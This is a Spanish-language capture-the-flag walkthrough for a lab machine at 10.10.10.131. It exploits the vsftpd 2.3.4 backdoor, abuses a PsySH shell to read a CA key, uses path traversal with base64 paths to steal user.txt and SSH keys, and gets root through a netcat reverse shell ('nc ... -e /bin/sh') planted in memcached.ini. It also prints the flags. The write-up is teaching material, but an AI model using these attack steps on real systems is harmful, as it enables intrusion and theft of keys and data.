**Realizar un escaneo de puertos con nmap** ``` $ nmap -sC -sV 10.10.10.131 ``` **Vemos que la version de vsftpd es la 2.3.4 la cual esta desactualizada** `21/tcp open ftp vsftpd 2.3.4` **Buscando en internet encontre un exploit el cual podria servir para obtener una shell** https://github.com/In2econd/vsftpd-2.3.4-exploit **Descargamos y utilizamos el exploit** `$ python3 vsftpd_234_exploit.py 10.10.10.131 21 whoami` **Como pudimos ver, el exploit nos devuelve que hay una psy shell corriendo en el puerto 6200** ``` [+] Connected to backdoor on 10.10.10.131:6200 [+] Response: Psy Shell v0.9.9 (PHP 7.2.10 — cli) by Justin Hileman ``` **Por lo tanto como hay una shell a la escucha, nos conectaremos a ella por medio de netcat** `$ nc 10.10.10.131 6200` **Una vez conectados probaremos ver que archivos hay disponibles en ese directorio** `$ ls` **Como podemos ver no es una shell comun ya que nos devuelve lo siguiente** `Variables: $tokyo` **Si ponemos $tokyo nos devuelve lo siguiente** `=> Tokyo {#2307}` **Por lo tanto vamos a ver que comandos podemos utilizar** `$ help` **Como podemos ver el comando show nos muestra el codigo de un objeto, por lo tanto veremos que hay en tokyo** `$ show $tokyo` **Como podemos ver en la linea 4 nos sale un archivo llamado ca.key** `4| $caKey = file_get_contents('/home/nairobi/ca.key');` **Para ver el contenido de ese archivo pondremos lo siguiente** `$ file_get_contents('/home/nairobi/ca.key');` **Y nos dara el contenido de ca.key, eso lo copiamos y lo guardamos en nuestra maquina local para luego generar una conexion ssl mediante el puerto 443 a la maquina (es importante borrar todos los espacios y los \n)** **Una vez tengamos el ca.key ya guardado en nuestra maquina, procederemos a generar un certificado** `$ openssl req -new -key ca.key -out ca.csr` **En esta parte nos pedira un monton de datos, pero simplemente ponemos cualquier cosa** **Luego ponemos lo siguiente** ``` $ openssl x509 -req -days 365 -in ca.csr -signkey ca.key -out ca.crt $ openssl pkcs12 -export -in ca.crt -inkey ca.key -out server.p12 ``` Una vez generado el certificado, nos generara un archivo llamado server.p12, ese archivo lo metemos en nuestro navegador para eso entramos en: `about:preferences#privacy` y le damos donde dice View Certificates, y luego vamos a Your Certificates y le damos a import y metemos el server.p12 **Una vez hecho esto, entramos por https al sitio** https://10.10.10.131/ **Como podemos observar en la pagina principal se puede descargar archivos de video de la temporada 1 y 2** https://10.10.10.131/?path=SEASON-1 https://10.10.10.131/?path=SEASON-2 **Si nos fijamos bien, es vulnerable a LFI** https://10.10.10.131/?path=../../../ Pero si nos fijamos bien, no podremos descargar ningun archivo, por lo tanto hay que buscar la forma de descargar la flag de user la cual esta ubicada en (../../berlin/user.txt) si nos fijamos bien en el codigo fuente en la parte para descargar los archivos de la temporada 1 y 2 de la serie, los archivos son descargados realizando una peticion GET al archivo, el cual parece estar encodeado en base64, pero si lo decodeamos, nos dara lo siguiente: ``` URL: https://10.10.10.131/file/U0VBU09OLTEvMDEuYXZp Base64: U0VBU09OLTEvMDEuYXZp Decoded: SEASON-1/01.avi ``` Si probamos cambiar lo que viene despues de /file/ y ponemos la ubicacion de la flag de user en base64, y realizamos una peticion GET a la misma, la podremos descargar ``` Decoded: ../../berlin/user.txt Base64: Li4vLi4vYmVybGluL3VzZXIudHh0 URL: https://10.10.10.131/file/Li4vLi4vYmVybGluL3VzZXIudHh0 Flag: 4dcbd172fc9c9ef2ff65c13448d9062d ``` **Ahora descargamos los archivos del ssh utilizando el mismo metodo** https://10.10.10.131/file/Li4vLi4vYmVybGluLy5zc2gvaWRfcnNhLnB1Yg== https://10.10.10.131/file/Li4vLi4vYmVybGluLy5zc2gvaWRfcnNh **Nos conectamos mediante ssh** `$ sudo ssh -i id_rsa professor@10.10.10.131` Como podemos ver el archivo memcached.ini es un archivo de configuracion del programa memcached ``` $ cat memcached.ini [program:memcached] command = sudo -u nobody /usr/bin/node /home/professor/memcached.js ``` Por lo tanto si ponemos memcached ejecutaremos este programa ``` $ memcached ``` Lo que haremos sera intentar realizar una conexion inversa mediante netcat, para ello vamos a eliminar el memcached.ini original y crear uno nuevo con vi ``` $ rm -rf memcached.ini $ vi memcached.ini ``` Dentro del memcached.ini vamos a poner lo siguiente, configurandolo con nuestra ip y el puerto que queramos poner a la escucha para realizar la conexion inversa ``` [program:memcached] command = /usr/bin/nc 10.10.XX.XX 4444 -e /bin/sh ``` Luego abrimos una nueva instancia de netcat en una terminal, y la ponemos a la escucha del puerto que queramos `$ nc -lvp 4444` Volvemos a la conexion ssh donde editamos el memcached.ini anteriormente y ejecutamos memcached `$ memcached` Una vez hecho esto, ya tendremos acceso como root en la terminal que abrimos anteriormente ahora solo queda conseguir la flag de root ``` $ cat /root/root.txt 586979c48efbef5909a23750cc07f511 ``` ---